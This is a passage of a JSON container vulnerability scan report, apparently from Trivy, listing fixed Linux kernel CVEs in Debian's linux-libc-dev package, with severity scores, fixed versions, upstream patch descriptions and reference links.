"https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-31709" ], "PublishedDate": "2026-05-01T14:16:20.95Z", "LastModifiedDate": "2026-10-19T20:17:56.887Z" }, { "VulnerabilityID": "CVE-2026-31715", "VendorIDs": [ "DSA-6253-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31715", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bf0284fc6a5b8e6ce4f53b61982cd69a38feaf350926e2ec5ad856d3b830b55b", "Title": "kernel: f2fs: fix UAF caused by decrementing sbi-\u003enr_pages[] in f2fs_write_end_io()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix UAF caused by decrementing sbi-\u003enr_pages[] in f2fs_write_end_io()\n\nThe xfstests case \"generic/107\" and syzbot have both reported a NULL\npointer dereference.\n\nThe concurrent scenario that triggers the panic is as follows:\n\nF2FS_WB_CP_DATA write callback umount\n - f2fs_write_checkpoint\n - f2fs_wait_on_all_pages(sbi, F2FS_WB_CP_DATA)\n- blk_mq_end_request\n - bio_endio\n - f2fs_write_end_io\n : dec_page_count(sbi, F2FS_WB_CP_DATA)\n : wake_up(\u0026sbi-\u003ecp_wait)\n - kill_f2fs_super\n - kill_block_super\n - f2fs_put_super\n : iput(sbi-\u003enode_inode)\n : sbi-\u003enode_inode = NULL\n : f2fs_in_warm_node_list\n - is_node_folio // sbi-\u003enode_inode is NULL and panic\n\nThe root cause is that f2fs_put_super() calls iput(sbi-\u003enode_inode) and\nsets sbi-\u003enode_inode to NULL after sbi-\u003enr_pages[F2FS_WB_CP_DATA] is\ndecremented to zero. As a result, f2fs_in_warm_node_list() may\ndereference a NULL node_inode when checking whether a folio belongs to\nthe node inode, leading to a panic.\n\nThis patch fixes the issue by calling f2fs_in_warm_node_list() before\ndecrementing sbi-\u003enr_pages[F2FS_WB_CP_DATA], thus preventing the\nuse-after-free condition.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31715", "https://git.kernel.org/linus/2d9c4a4ed4eef1f82c5b16b037aee8bad819fd53%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0d40b26377f891e6dcb6efaf8ef9374c99be1b1d", "https://git.kernel.org/stable/c/1171f329cf1c175321251ac40fd126150d7ad1e8", "https://git.kernel.org/stable/c/188bb65f247a7a7c62f287c9a263aee3cad96fa5", "https://git.kernel.org/stable/c/2d9c4a4ed4eef1f82c5b16b037aee8bad819fd53", "https://git.kernel.org/stable/c/7be222de96c0f9eee6e65eeb017ef855ee185cfa", "https://git.kernel.org/stable/c/7dbdab4430e4654db9aacef12b9b3b8b29ca25cb", "https://git.kernel.org/stable/c/963d2e24d9d92a31e6773b0f642214f10013ebf7", "https://git.kernel.org/stable/c/ffb94770dbdfb5411be5d9f44a960b010ec890ad", "https://lore.kernel.org/linux-cve-announce/2026050123-CVE-2026-31715-891c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31715", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-31715" ], "PublishedDate": "2026-05-01T14:16:21.637Z", "LastModifiedDate": "2026-06-19T13:16:27.537Z" }, { "VulnerabilityID": "CVE-2026-31717", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31717", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d052edbd15caa2db2465912f1f329c9d46cc45ebd3a0bc267cec005dc2ac50ac", "Title": "kernel: ksmbd: validate owner of durable handle on reconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate owner of durable handle on reconnect\n\nCurrently, ksmbd does not verify if the user attempting to reconnect\nto a durable handle is the same user who originally opened the file.\nThis allows any authenticated user to hijack an orphaned durable handle\nby predicting or brute-forcing the persistent ID.\n\nAccording to MS-SMB2, the server MUST verify that the SecurityContext\nof the reconnect request matches the SecurityContext associated with\nthe existing open.\nAdd a durable_owner structure to ksmbd_file to store the original opener's\nUID, GID, and account name. and catpure the owner information when a file\nhandle becomes orphaned. and implementing ksmbd_vfs_compare_durable_owner()\nto validate the identity of the requester during SMB2_CREATE (DHnC).", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31717", "https://git.kernel.org/linus/49110a8ce654bbe56bef7c5e44cce31f4b102b8a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/00ce8d6789dae72d042a4522264964c72891ca37", "https://git.kernel.org/stable/c/49110a8ce654bbe56bef7c5e44cce31f4b102b8a", "https://git.kernel.org/stable/c/712cdf917e77a6444ce3836874829d770db20ee6", "https://git.kernel.org/stable/c/c7f0f0d01c88bdcb8b1694d7d321670013f7ed7d", "https://git.kernel.org/stable/c/c908c853f304a4969b5aa10eba0b50350cc65b80", "https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31717", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://www.cve.org/CVERecord?id=CVE-2026-31717" ], "PublishedDate": "2026-05-01T14:16:21.86Z", "LastModifiedDate": "2026-06-17T10:34:18.033Z" }, { "VulnerabilityID": "CVE-2026-31718", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31718", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5771b7b3f3c766026c216a8769a8ab69a7f8b1cf1c0f3b4b8d40feae8ddde00d", "Title": "kernel: ksmbd: fix use-after-free in __ksmbd_close_fd() via durable scavenger", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free in __ksmbd_close_fd() via durable scavenger\n\nWhen a durable file handle survives session disconnect (TCP close without\nSMB2_LOGOFF), session_fd_check() sets fp-\u003econn = NULL to preserve the\nhandle for later reconnection. However, it did not clean up the byte-range\nlocks on fp-\u003elock_list.\n\nLater, when the durable scavenger thread times out and calls\n__ksmbd_close_fd(NULL, fp), the lock cleanup loop did:\n\n spin_lock(\u0026fp-\u003econn-\u003ellist_lock);\n\nThis caused a slab use-after-free because fp-\u003econn was NULL and the\noriginal connection object had already been freed by\nksmbd_tcp_disconnect().\n\nThe root cause is asymmetric cleanup: lock entries (smb_lock-\u003eclist) were\nleft dangling on the freed conn-\u003elock_list while fp-\u003econn was nulled out.\n\nTo fix this issue properly, we need to handle the lifetime of\nsmb_lock-\u003eclist across three paths:\n - Safely skip clist deletion when list is empty and fp-\u003econn is NULL.\n - Remove the lock from the old connection's lock_list in\n session_fd_check()\n - Re-add the lock to the new connection's lock_list in\n ksmbd_reopen_durable_fd().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31718", "https://git.kernel.org/linus/235e32320a470fcd3998fb3774f2290a0eb302a1%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0000a7780e0e446a28a273572f6ea8f7f582f694", "https://git.kernel.org/stable/c/235e32320a470fcd3998fb3774f2290a0eb302a1", "https://git.kernel.org/stable/c/3d6682726c2d3a46d31dae88b8166786b09b03ad", "https://git.kernel.org/stable/c/b34fc42cfe922e551f7a27d3ac3bb016e41d7dd9", "https://git.kernel.org/stable/c/e33c65f011980b4ad4abfd93585ec2079856368f", "https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31718-5752@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31718", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://www.cve.org/CVERecord?id=CVE-2026-31718" ], "PublishedDate": "2026-05-01T14:16:21.963Z", "LastModifiedDate": "2026-06-17T10:34:18.147Z" }, { "VulnerabilityID": "CVE-2026-31720", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:85b1c0b923bcc7deb640b2ed9f15f3435fe7742328590e1402aba703d86914fe", "Title": "kernel: usb: gadget: f_uac1_legacy: validate control request size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_uac1_legacy: validate control request size\n\nf_audio_complete() copies req-\u003elength bytes into a 4-byte stack\nvariable:\n\n u32 data = 0;\n memcpy(\u0026data, req-\u003ebuf, req-\u003elength);\n\nreq-\u003elength is derived from the host-controlled USB request path,\nwhich can lead to a stack out-of-bounds write.\n\nValidate req-\u003eactual against the expected payload size for the\nsupported control selectors and decode only the expected amount\nof data.\n\nThis avoids copying a host-influenced length into a fixed-size\nstack object.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31720", "https://git.kernel.org/linus/6e0e34d85cd46ceb37d16054e97a373a32770f6c%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0d41772d98dcaf6c17e875b7d0ea0154ae1191ee", "https://git.kernel.org/stable/c/21b11e8581285c6f10ef43d05df349d445f24273", "https://git.kernel.org/stable/c/26304d124e7f0383f8fe1168b5801a0ac7e16b1c", "https://git.kernel.org/stable/c/557d1d4e862eccd0b74cc377b66de3e1e8d49605", "https://git.kernel.org/stable/c/6e0e34d85cd46ceb37d16054e97a373a32770f6c", "https://git.kernel.org/stable/c/8e5eb1d6e6a3d7bbea9c92132d0cda5793176426", "https://git.kernel.org/stable/c/be2d32f0c3fe333d14c0a9ca90328dacbc3e06b8", "https://git.kernel.org/stable/c/c6da4fed7537aec19880c24f6c3a95065adb1406", "https://lore.kernel.org/linux-cve-announce/2026050131-CVE-2026-31720-3b60@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31720", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31720" ], "PublishedDate": "2026-05-01T15:16:34.36Z", "LastModifiedDate": "2026-06-17T10:34:18.37Z" }, { "VulnerabilityID": "CVE-2026-31729", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31729", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:11195e8700db571419bada39f90d3b0749b22c8b488b228fdb81553dcdf38947", "Title": "kernel: usb: typec: ucsi: validate connector number in ucsi_notify_common()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: ucsi: validate connector number in ucsi_notify_common()\n\nThe connector number extracted from CCI via UCSI_CCI_CONNECTOR() is a\n7-bit field (0-127) that is used to index into the connector array in\nucsi_connector_change(). However, the array is only allocated for the\nnumber of connectors reported by the device (typically 2-4 entries).\n\nA malicious or malfunctioning device could report an out-of-range\nconnector number in the CCI, causing an out-of-bounds array access in\nucsi_connector_change().\n\nAdd a bounds check in ucsi_notify_common(), the central point where CCI\nis parsed after arriving from hardware, so that bogus connector numbers\nare rejected before they propagate further.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31729", "https://git.kernel.org/linus/d2d8c17ac01a1b1f638ea5d340a884ccc5015186%20%287.0-rc7%29", "https://git.kernel.org/stable/c/98429e9ec89a5e3a204112dfaa2dbe6ca28493a0", "https://git.kernel.org/stable/c/d2d8c17ac01a1b1f638ea5d340a884ccc5015186", "https://git.kernel.org/stable/c/f4e608fe12b7ac6a4a57176ab0296bb5a110a078", "https://git.kernel.org/stable/c/f6dcbf2b024d55549959402f1db6c614e51d52cb", "https://linux.oracle.com/cve/CVE-2026-31729.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050136-CVE-2026-31729-6350@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31729", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31729" ], "PublishedDate": "2026-05-01T15:16:35.467Z", "LastModifiedDate": "2026-11-06T16:18:08.887Z" }, { "VulnerabilityID": "CVE-2026-31730", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31730", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:833eb42fa8e5a7aceaceef6d00e6ac38fd01b57792ed53a86ea81997ce705693", "Title": "kernel: misc: fastrpc: possible double-free of cctx-\u003eremote_heap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmisc: fastrpc: possible double-free of cctx-\u003eremote_heap\n\nfastrpc_init_create_static_process() may free cctx-\u003eremote_heap on the\nerr_map path but does not clear the pointer. Later, fastrpc_rpmsg_remove()\nfrees cctx-\u003eremote_heap again if it is non-NULL, which can lead to a\ndouble-free if the INIT_CREATE_STATIC ioctl hits the error path and the rpmsg\ndevice is subsequently removed/unbound.\nClear cctx-\u003eremote_heap after freeing it in the error path to prevent the\nlater cleanup from freeing it again.\n\nThis issue was found by an in-house analysis workflow that extracts AST-based\ninformation and runs static checks, with LLM assistance for triage, and was\nconfirmed by manual code review.\nNo hardware testing was performed.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31730", "https://git.kernel.org/linus/ba2c83167b215da30fa2aae56b140198cf8d8408%20%287.0-rc7%29", "https://git.kernel.org/stable/c/0bdee4118340c5a756220c1b29a7dab86bb0aa65", "https://git.kernel.org/stable/c/3a164f640953cc982804746e772d379171aff5c6", "https://git.kernel.org/stable/c/4b8e527aca357a6488680713bd88007cf8f547fe", "https://git.kernel.org/stable/c/ba2c83167b215da30fa2aae56b140198cf8d8408", "https://git.kernel.org/stable/c/f67d368d26764a357691b2b3a33d3cb55b435bfc", "https://lore.kernel.org/linux-cve-announce/2026050136-CVE-2026-31730-ff8a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31730", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31730" ], "PublishedDate": "2026-05-01T15:16:35.577Z", "LastModifiedDate": "2026-06-17T10:34:19.55Z" }, { "VulnerabilityID": "CVE-2026-31731", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31731", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:be87e74121836c6d4be9a0ee43019d1807c7ddda112a8e728b5c69e8a34bd530", "Title": "kernel: thermal: core: Address thermal zone removal races with resume", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nthermal: core: Address thermal zone removal races with resume\n\nSince thermal_zone_pm_complete() and thermal_zone_device_resume()\nre-initialize the poll_queue delayed work for the given thermal zone,\nthe cancel_delayed_work_sync() in thermal_zone_device_unregister()\nmay miss some already running work items and the thermal zone may\nbe freed prematurely [1].\n\nThere are two failing scenarios that both start with\nrunning thermal_pm_notify_complete() right before invoking\nthermal_zone_device_unregister() for one of the thermal zones.\n\nIn the first scenario, there is a work item already running for\nthe given thermal zone when thermal_pm_notify_complete() calls\nthermal_zone_pm_complete() for that thermal zone and it continues to\nrun when thermal_zone_device_unregister() starts. Since the poll_queue\ndelayed work has been re-initialized by thermal_pm_notify_complete(), the\nrunning work item will be missed by the cancel_delayed_work_sync() in\nthermal_zone_device_unregister() and if it continues to run past the\nfreeing of the thermal zone object, a use-after-free will occur.\n\nIn the second scenario, thermal_zone_device_resume() queued up by\nthermal_pm_notify_complete() runs right after the thermal_zone_exit()\ncalled by thermal_zone_device_unregister() has returned. The poll_queue\ndelayed work is re-initialized by it before cancel_delayed_work_sync() is\ncalled by thermal_zone_device_unregister(), so it may continue to run\nafter the freeing of the thermal zone object, which also leads to a\nuse-after-free.\n\nAddress the first failing scenario by ensuring that no thermal work\nitems will be running when thermal_pm_notify_complete() is called.\nFor this purpose, first move the cancel_delayed_work() call from\nthermal_zone_pm_complete() to thermal_zone_pm_prepare() to prevent\nnew work from entering the workqueue going forward. Next, switch\nover to using a dedicated workqueue for thermal events and update\nthe code in thermal_pm_notify() to flush that workqueue after\nthermal_pm_notify_prepare() has returned which will take care of\nall leftover thermal work already on the workqueue (that leftover\nwork would do nothing useful anyway because all of the thermal zones\nhave been flagged as suspended).\n\nThe second failing scenario is addressed by adding a tz-\u003estate check\nto thermal_zone_device_resume() to prevent it from re-initializing\nthe poll_queue delayed work if the thermal zone is going away.\n\nNote that the above changes will also facilitate relocating the suspend\nand resume of thermal zones closer to the suspend and resume of devices,\nrespectively.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-362" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31731", "https://git.kernel.org/linus/45b859b0728267a6199ee5002d62e6c6f3e8c89d%20%287.0-rc7%29", "https://git.kernel.org/stable/c/1a6d2b001eb730d85f00da39ae7db6f3b4edc540", "https://git.kernel.org/stable/c/2dbe93f344f10b432b95a23304006be805c097a1", "https://git.kernel.org/stable/c/45b859b0728267a6199ee5002d62e6c6f3e8c89d", "https://git.kernel.org/stable/c/c4593f1654f7dea3bcf9bb1851ded86311d4f370", "https://linux.oracle.com/cve/CVE-2026-31731.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050136-CVE-2026-31731-b01e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31731", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31731" ], "PublishedDate": "2026-05-01T15:16:35.683Z", "LastModifiedDate": "2026-10-19T20:17:57.373Z" }, { "VulnerabilityID": "CVE-2026-31747", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31747", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6f0bb5b903ab7c918df15bb170d76e728034f49728436ad447286fa4e75490fd", "Title": "kernel: comedi: me4000: Fix potential overrun of firmware buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: me4000: Fix potential overrun of firmware buffer\n\n`me4000_xilinx_download()` loads the firmware that was requested by\n`request_firmware()`. It is possible for it to overrun the source\nbuffer because it blindly trusts the file format. It reads a data\nstream length from the first 4 bytes into variable `file_length` and\nreads the data stream contents of length `file_length` from offset 16\nonwards.\n\nAdd a test to ensure that the supplied firmware is long enough to\ncontain the header and the data stream. On failure, log an error and\nreturn `-EINVAL`.\n\nNote: The firmware loading was totally broken before commit ac584af59945\n(\"staging: comedi: me4000: fix firmware downloading\"), but that is the\nmost sensible target for this fix.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31747", 